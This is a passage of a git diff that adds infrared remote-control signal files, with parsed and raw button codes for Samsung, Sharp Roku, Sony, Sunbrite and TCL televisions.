1301 447 1326 422 424 445 1302 446 454 425 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3482 1731 452 448 421 1326 422 451 418 455 424 422 447 453 416 458 421 452 417 456 423 450 419 454 425 421 448 452 417 1330 418 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 457 422 1325 423 449 420 454 425 448 421 452 417 456 423 450 419 455 424 448 421 1326 422 424 445 455 424 1323 415 1331 417 1329 419 454 425 448 421 1298 450 423 446 455 424 1322 416 1330 418 1301 447 426 443 1304 444 +# +name: Favorite +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1759 423 449 420 1326 422 452 417 456 423 451 417 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1321 417 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 1299 449 451 418 456 423 1323 425 448 421 453 416 457 422 451 418 456 423 1322 426 1294 443 1303 445 455 424 1295 442 458 421 1298 450 1297 451 1295 443 1304 444 456 423 450 419 1300 448 452 417 457 422 74443 3473 1739 443 456 423 1297 451 449 420 453 416 430 449 451 417 429 450 422 447 427 452 448 420 453 416 457 422 424 444 1302 446 454 425 421 448 452 417 457 422 424 444 428 451 422 447 454 414 458 421 1298 502 1244 452 421 448 453 416 1303 497 377 450 450 419 454 425 448 421 452 417 1302 446 1301 447 1299 449 451 418 1302 446 427 452 1294 444 1303 445 1301 447 1300 448 452 417 456 423 1296 452 449 420 453 415 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1760 422 451 418 1328 420 453 416 458 421 452 417 456 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 1322 426 448 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1329 419 454 425 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1323 425 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1736 446 426 443 1304 444 429 450 423 445 428 451 422 447 426 443 430 449 424 444 428 451 422 446 427 452 421 448 1299 449 424 444 428 451 422 447 426 443 431 448 425 443 429 450 423 445 427 452 1295 442 430 449 424 444 429 450 423 445 427 452 421 448 425 443 430 449 1297 451 422 447 426 453 420 449 1298 450 423 446 427 452 421 448 1299 449 424 445 429 450 423 445 1300 448 425 443 430 449 1297 451 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1733 449 423 445 1301 447 426 443 431 448 425 444 429 450 423 445 427 452 421 448 426 443 430 449 424 444 428 451 1296 452 421 448 425 443 430 449 423 445 428 451 422 447 426 442 431 448 425 443 1302 446 428 451 422 447 426 442 430 449 424 445 428 451 422 447 427 452 421 448 1299 449 424 444 428 451 1295 453 421 448 425 444 429 450 423 446 1301 447 426 442 430 449 1298 450 423 445 427 452 1295 442 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3478 1735 448 452 417 1329 419 454 425 448 421 453 416 457 422 451 418 455 424 450 419 454 415 458 421 452 417 456 423 1323 425 449 420 453 416 457 422 451 418 456 423 450 419 454 415 459 420 453 416 1329 419 455 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 1322 416 1330 418 455 424 450 419 1327 421 452 417 457 422 451 418 1328 420 1298 450 451 418 456 423 1323 425 448 421 453 415 1330 418 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1765 418 455 424 1295 443 431 448 452 417 429 450 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 1299 449 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 1322 416 430 449 1325 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 1327 421 452 417 456 423 1323 425 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1764 418 455 424 1322 415 457 422 451 418 456 423 450 419 454 425 449 419 453 416 457 422 451 417 456 423 450 419 1327 421 453 416 457 422 451 417 456 423 450 418 454 425 448 420 453 416 457 422 1324 424 449 420 454 425 448 420 453 416 457 422 451 418 455 424 450 419 1327 421 452 417 1329 419 455 424 1322 415 458 421 452 417 457 422 1323 425 449 420 1326 422 452 417 1329 419 455 424 449 420 1326 422 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1759 423 449 420 1327 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 425 1321 417 457 422 451 418 428 451 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 1322 416 458 421 1325 423 450 419 454 425 448 421 453 416 1331 417 1329 419 426 453 1321 417 457 422 451 418 1301 447 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1768 415 458 421 1325 423 451 418 455 424 449 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 455 424 449 420 454 415 458 421 452 417 457 422 450 419 455 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 453 416 457 422 451 418 1328 420 1326 422 1297 451 450 419 1327 421 453 416 457 422 451 418 1329 419 1299 449 1325 423 451 418 1328 420 453 416 458 421 1325 423 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1766 417 456 423 1323 425 448 421 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 1324 424 449 420 453 416 457 422 451 418 456 423 450 419 427 452 448 421 452 417 457 422 451 418 1328 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1326 422 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1765 418 455 424 1322 416 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 450 419 1327 421 452 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 451 418 456 423 1322 415 1304 444 456 423 451 418 455 424 1322 416 458 421 452 417 1329 419 1327 421 453 416 457 422 1324 424 +# +name: Last +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1760 422 450 419 1328 420 453 416 457 422 451 418 455 424 449 420 454 414 458 421 452 417 456 423 450 419 455 424 1322 416 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 1328 420 453 416 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1328 420 1299 449 452 417 1329 419 1327 421 453 416 457 422 1324 424 1323 425 1321 417 456 423 1324 424 1322 416 458 421 1325 423 +# +name: Dash +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3482 1759 424 449 420 1326 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 415 458 421 452 417 456 423 450 419 455 424 449 420 1326 422 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 415 458 421 1325 423 1324 424 1322 416 457 422 451 418 1329 419 1327 421 425 444 1330 418 455 424 +# +name: Rewind +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3481 1759 424 449 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 1325 423 450 419 454 425 448 421 1326 422 1324 424 1322 416 458 421 1298 450 1323 425 448 421 453 416 1330 418 455 424 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1767 416 430 449 1325 423 450 419 427 452 448 421 425 444 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1302 446 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 1323 425 448 421 453 416 1330 418 455 424 422 447 454 415 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 1329 419 1300 448 425 444 456 423 1324 424 449 420 453 416 1331 417 455 424 +# +name: Fast_Fwd +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1764 419 454 425 1321 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 449 420 1326 422 451 418 456 423 450 419 454 415 458 421 452 417 456 423 451 418 455 424 1322 416 1331 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 1323 425 1321 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 1328 420 453 416 1331 417 456 423 450 419 1328 420 453 416 +# +name: Previous +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1761 422 451 418 1329 419 454 425 448 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1329 419 1327 421 452 417 429 450 1324 424 449 420 453 416 458 421 452 417 1330 418 454 425 448 421 453 416 457 422 451 418 1329 419 1299 449 452 417 429 450 450 419 1328 420 452 417 457 422 1297 451 422 447 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3480 1732 450 423 445 1301 499 375 442 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1296 452 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1302 446 1301 447 453 416 457 422 1297 503 371 446 454 425 448 421 453 416 1303 445 455 424 1295 453 1294 506 1240 446 455 424 1295 443 1304 444 456 423 450 419 1301 447 453 416 1303 497 377 450 1296 452 448 421 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3478 1735 448 452 417 1303 445 455 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 1304 444 1302 446 454 425 448 421 1298 450 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 425 448 421 453 416 1330 418 1301 447 1300 448 1298 450 450 419 1327 421 453 416 457 422 1324 424 449 420 diff --git a/assets/resources/infrared/assets/TVs/Samsung.ir b/assets/resources/infrared/assets/TVs/Samsung.ir new file mode 100644 index 000000000..5949d82af --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Samsung.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 60 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 65 00 00 00 +# +name: Select +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 68 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 62 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 61 00 00 00 +# +name: Menu +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: Source +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 01 00 00 00 +# +name: Return +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 58 00 00 00 +# +name: Exit +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: Vol_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: Vol_down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: Mute +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: Smarthub +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 79 00 00 00 +# +name: Info +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Samsung_TV.ir b/assets/resources/infrared/assets/TVs/Samsung_TV.ir new file mode 100644 index 000000000..d93189744 --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Samsung_TV.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 +# +name: Source +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 01 00 00 00 +# +name: Mute +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: Vol_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: Vol_down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: Menu_left +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 65 00 00 00 +# +name: Menu_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 60 00 00 00 +# +name: Menu_right +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 62 00 00 00 +# +name: Menu_down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 61 00 00 00 +# +name: Menu_back +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 58 00 00 00 +# +name: Menu_home +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 79 00 00 00 +# +name: Menu_enter +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Samsung_e6.ir b/assets/resources/infrared/assets/TVs/Samsung_e6.ir new file mode 100644 index 000000000..c43e24e5b --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Samsung_e6.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Sharp_Roku_TV.ir b/assets/resources/infrared/assets/TVs/Sharp_Roku_TV.ir new file mode 100644 index 000000000..e6fddc46c --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Sharp_Roku_TV.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Back +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 04 00 00 00 +# +name: Home +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 43 00 00 00 +# +name: V+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: V- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 56 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 57 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 58 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 59 00 00 00 +# +name: Ok +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: Again +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 41 00 00 00 +# +name: Sleep +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Star +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: Rewind +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4F 00 00 00 +# +name: Play Pause +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 42 00 00 00 +# +name: Fast Forward +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: Netflix +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: Hulu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: Sling +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 45 00 00 00 +# +name: Now +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 67 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Sonyxbr.ir b/assets/resources/infrared/assets/TVs/Sonyxbr.ir new file mode 100644 index 000000000..c68e06da0 --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Sonyxbr.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: Off +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: Menu +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 60 00 00 00 +# +name: Up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 74 00 00 00 +# +name: Left +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 34 00 00 00 +# +name: Ok +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 65 00 00 00 +# +name: Right +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 33 00 00 00 +# +name: Down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 75 00 00 00 +# +name: Input +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 25 00 00 00 +# +name: Exit +type: parsed +protocol: SIRC15 +address: 97 00 00 00 +command: 23 00 00 00 +# +name: Vol_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: Vol_down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Sunbrite.ir b/assets/resources/infrared/assets/TVs/Sunbrite.ir new file mode 100644 index 000000000..1e75c1b3c --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Sunbrite.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Off +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Menu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: Exit +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 49 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 45 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 47 00 00 00 +# +name: Ok +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 44 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 48 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 46 00 00 00 +# +name: Source +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Tcl.ir b/assets/resources/infrared/assets/TVs/Tcl.ir new file mode 100644 index 000000000..37ca4caad --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Tcl.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 +# +name: Home +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 513 1985 519 1979 515 1984 510 1988 516 1008 494 1005 487 1011 491 1008 484 1988 516 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1985 519 1979 515 983 519 1980 514 1984 510 1988 516 8183 4016 3979 518 1979 515 1984 510 1988 516 1982 512 986 516 1009 493 1005 487 1012 490 1982 512 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1011 491 1981 513 1985 519 1979 515 1983 511 1014 488 1984 510 1988 516 1982 512 8068 4016 3978 519 1979 515 1983 511 1988 516 1981 513 985 517 1008 494 1004 488 1011 491 1981 513 985 517 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1980 514 1984 520 1978 516 1983 511 1013 489 1983 511 1988 516 1982 512 +# +name: Apps +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4014 3982 515 1983 511 1987 517 1981 513 1985 519 1979 515 1984 510 1988 516 1008 494 1978 516 1982 512 987 515 1009 493 1005 487 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1985 519 1005 487 1011 491 1982 512 1986 518 8180 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1983 510 1987 517 1981 513 1012 490 1982 512 1987 517 1007 485 1013 489 1010 492 1006 486 1013 489 1009 493 1005 487 1012 490 1008 494 1979 515 1009 493 1005 487 1986 518 1980 514 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3985 512 1986 518 1980 513 1985 519 1979 515 983 519 1980 514 1010 492 1980 514 1985 519 1005 487 1012 490 1982 511 986 516 1009 493 1005 487 1012 490 1982 511 986 516 1983 511 1014 488 1010 492 1980 514 1985 519 979 513 8186 4012 3983 514 1984 510 1988 516 1982 512 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1010 492 1980 514 1011 491 1007 485 1014 488 984 518 1980 513 1011 491 1982 511 1012 490 1009 493 1979 514 1984 520 1004 488 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3983 514 1984 520 1978 516 1983 511 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1009 493 1006 486 1013 489 1009 493 1005 487 1012 490 1981 513 1013 489 1983 511 1014 488 1010 492 1980 514 1984 520 1978 516 8183 4015 3980 517 1980 514 1985 519 1979 515 1983 511 1014 488 1984 520 1004 488 1985 519 1979 515 1010 492 1006 486 1013 489 1009 493 1006 486 1012 490 1009 493 1978 516 1009 493 1980 514 1010 492 1007 485 1987 517 1981 513 1986 518 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 513 1985 519 1979 514 1984 520 1978 515 1009 493 1979 514 1010 492 1980 513 1011 491 1981 512 1986 518 1007 485 1013 489 1010 492 1006 486 1013 489 1984 520 1004 488 1985 519 1005 487 1986 518 1006 486 1013 489 1983 510 8188 4010 3985 512 1987 517 1981 512 1985 519 1980 513 984 518 1981 512 985 517 1982 512 986 516 1983 510 1987 517 1007 485 1014 488 1011 491 1007 485 1014 488 1984 520 1005 487 1986 518 1006 486 1987 517 1007 485 1013 489 1984 520 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4013 3982 515 1984 520 1978 515 1983 510 1987 517 982 520 1978 515 983 519 1979 514 983 519 1980 514 1985 519 1979 514 984 518 981 511 988 514 984 518 1980 513 985 517 1981 512 986 516 1982 511 988 514 984 518 981 511 +# +name: Ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1987 517 1982 511 1986 518 1981 512 1985 519 1980 513 1984 520 1979 514 1009 493 1979 514 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 2007 486 1012 490 2008 485 1987 517 8181 4016 3979 518 1981 512 1985 519 1980 513 1984 520 1979 514 1983 510 1988 516 1982 511 1013 489 1984 520 1004 488 1011 491 1008 494 1005 487 1012 490 1008 494 1005 487 1012 490 1008 494 1005 487 1985 519 1006 486 1987 517 1981 512 +# +name: Settings +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1988 516 1982 511 1987 517 1982 511 1986 518 1981 512 1011 491 1008 494 1978 515 1983 510 1988 516 1982 511 1013 489 984 518 1007 485 1014 488 984 518 1007 485 1987 517 1982 511 986 516 1009 493 1006 486 1013 489 8183 4014 3981 516 1982 511 1987 517 1981 512 1986 518 1981 512 1985 519 979 513 1013 489 1983 510 1988 516 1982 511 1987 517 1007 495 1004 488 1011 491 1008 494 1004 488 1011 491 1982 511 1986 518 1007 485 1014 488 1010 492 1007 485 +# +name: Back +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 512 1986 518 1980 513 1985 519 1980 513 985 517 981 511 1988 516 983 519 979 513 1986 518 1980 513 1985 519 980 512 987 515 984 518 981 510 1987 517 1982 511 987 515 1983 521 1978 515 983 519 980 511 987 515 8184 4012 3982 514 1984 520 1978 515 1983 510 1988 516 983 519 980 511 1986 518 981 510 988 514 1984 520 1979 514 1983 521 979 512 986 516 982 520 979 512 1985 519 1980 513 985 517 1981 512 1986 518 982 510 989 513 985 517 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 +# +name: Netflix +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 512 1986 518 1981 512 1986 518 1980 513 1985 518 1979 514 1984 520 1005 487 1986 518 1980 513 1985 518 1980 513 1011 491 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 485 1014 488 8185 4011 3984 512 1986 517 1980 513 1985 518 1980 513 1985 518 1979 514 1984 519 1005 486 1986 517 1981 512 1985 518 1980 513 985 517 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 484 1014 488 8066 4015 3979 517 1981 512 1986 518 1980 513 1985 518 1980 513 1985 519 1979 514 1010 492 1981 512 1986 518 1980 513 1985 518 1006 486 1013 489 1010 492 1006 486 1013 489 1010 492 1007 485 1988 516 1008 494 1005 487 1012 490 1009 493 +# +name: Youtube +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4015 3980 516 1982 511 1987 517 1982 511 1987 516 1981 512 1986 517 1981 512 1012 490 982 520 979 512 1986 518 1007 485 1014 488 1011 491 1007 495 1004 487 985 517 1008 494 1005 486 1986 518 1980 513 1985 519 1006 486 1987 517 8181 4015 3980 516 1981 512 1986 518 1981 512 1986 517 1980 513 1985 519 1979 514 1010 492 1007 485 988 514 1985 519 1005 487 986 516 1009 493 979 513 1013 489 983 519 1006 486 1013 489 1984 519 1978 515 1983 520 978 513 1985 518 +# +name: Ch_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 +# +name: Ch_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 diff --git a/assets/resources/infrared/assets/TVs/Tcl_32s327.ir b/assets/resources/infrared/assets/TVs/Tcl_32s327.ir new file mode 